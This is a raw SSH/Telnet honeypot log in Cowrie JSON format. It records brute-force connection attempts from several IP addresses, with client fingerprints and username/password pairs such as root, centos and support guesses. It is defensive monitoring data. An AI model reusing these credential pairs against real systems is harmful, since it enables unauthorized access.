03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:00.604803Z","src_ip":"171.237.176.209","session":"9428273dded2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:01.640326Z","src_ip":"171.237.176.209","session":"9428273dded2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:01.893395Z","src_ip":"171.237.176.209","session":"9428273dded2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:01.898552Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"1058b2bf6216","protocol":"telnet","message":"New connection: 176.65.148.214:38412 (159.203.135.109:23) [session: 1058b2bf6216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:15.726114Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":40744,"dst_ip":"159.203.135.109","dst_port":22,"session":"09885bc9bcd4","protocol":"ssh","message":"New connection: 160.251.197.41:40744 (159.203.135.109:22) [session: 09885bc9bcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:20.303341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:20.307598Z","src_ip":"160.251.197.41","session":"09885bc9bcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:20.498283Z","src_ip":"160.251.197.41","session":"09885bc9bcd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bounce","password":"bouncepass","message":"login attempt [bounce/bouncepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:21.292233Z","src_ip":"160.251.197.41","session":"09885bc9bcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:22.484678Z","src_ip":"160.251.197.41","session":"09885bc9bcd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42770,"dst_ip":"159.203.135.109","dst_port":22,"session":"56ac28632cbe","protocol":"ssh","message":"New connection: 92.118.39.92:42770 (159.203.135.109:22) [session: 56ac28632cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:33.185868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:33.191118Z","src_ip":"92.118.39.92","session":"56ac28632cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:33.288480Z","src_ip":"92.118.39.92","session":"56ac28632cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:33.691342Z","src_ip":"92.118.39.92","session":"56ac28632cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:34.795769Z","src_ip":"92.118.39.92","session":"56ac28632cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.927662134170532,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:45.653638Z","src_ip":"176.65.148.214","session":"1058b2bf6216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42072,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a53929129ee","protocol":"ssh","message":"New connection: 195.178.110.218:42072 (10.17.0.5:22) [session: 1a53929129ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:48:44.128821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:48:44.132725Z","src_ip":"195.178.110.218","session":"1a53929129ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:48:44.211521Z","src_ip":"195.178.110.218","session":"1a53929129ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:48:44.452448Z","src_ip":"195.178.110.218","session":"1a53929129ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:48:45.533843Z","src_ip":"195.178.110.218","session":"1a53929129ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":43380,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8354218739","protocol":"ssh","message":"New connection: 171.237.176.209:43380 (159.203.135.109:22) [session: bf8354218739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:43.736624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:43.740355Z","src_ip":"171.237.176.209","session":"bf8354218739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:44.002146Z","src_ip":"171.237.176.209","session":"bf8354218739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"e376de117027","protocol":"ssh","message":"New connection: 92.118.39.92:58164 (159.203.135.109:22) [session: e376de117027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:44.963218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:44.967867Z","src_ip":"92.118.39.92","session":"e376de117027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:45.080231Z","src_ip":"92.118.39.92","session":"e376de117027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbb","password":"bbb@123","message":"login attempt [bbb/bbb@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:45.087113Z","src_ip":"171.237.176.209","session":"bf8354218739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"1","message":"login attempt [debian/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:45.403678Z","src_ip":"92.118.39.92","session":"e376de117027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:46.351187Z","src_ip":"171.237.176.209","session":"bf8354218739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:49:46.508803Z","src_ip":"92.118.39.92","session":"e376de117027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":55274,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae9ad8d334c","protocol":"ssh","message":"New connection: 160.251.197.41:55274 (159.203.135.109:22) [session: eae9ad8d334c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:50:18.315699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:50:18.320881Z","src_ip":"160.251.197.41","session":"eae9ad8d334c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:50:18.495606Z","src_ip":"160.251.197.41","session":"eae9ad8d334c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123","message":"login attempt [edward/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:50:19.223611Z","src_ip":"160.251.197.41","session":"eae9ad8d334c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:50:20.401534Z","src_ip":"160.251.197.41","session":"eae9ad8d334c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57040,"dst_ip":"10.17.0.5","dst_port":22,"session":"620033c9f6a1","protocol":"ssh","message":"New connection: 195.178.110.218:57040 (10.17.0.5:22) [session: 620033c9f6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:51:13.658909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:51:13.663730Z","src_ip":"195.178.110.218","session":"620033c9f6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:51:13.743622Z","src_ip":"195.178.110.218","session":"620033c9f6a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:51:13.981612Z","src_ip":"195.178.110.218","session":"620033c9f6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:51:15.066949Z","src_ip":"195.178.110.218","session":"620033c9f6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":45394,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a33319af38","protocol":"ssh","message":"New connection: 92.118.39.92:45394 (159.203.135.109:22) [session: 28a33319af38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:00.558907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:00.588063Z","src_ip":"92.118.39.92","session":"28a33319af38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:00.664382Z","src_ip":"92.118.39.92","session":"28a33319af38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:01.073905Z","src_ip":"92.118.39.92","session":"28a33319af38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:02.181304Z","src_ip":"92.118.39.92","session":"28a33319af38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":46104,"dst_ip":"159.203.135.109","dst_port":22,"session":"7130b7e70a5b","protocol":"ssh","message":"New connection: 162.120.6.20:46104 (159.203.135.109:22) [session: 7130b7e70a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:29.447474Z"}
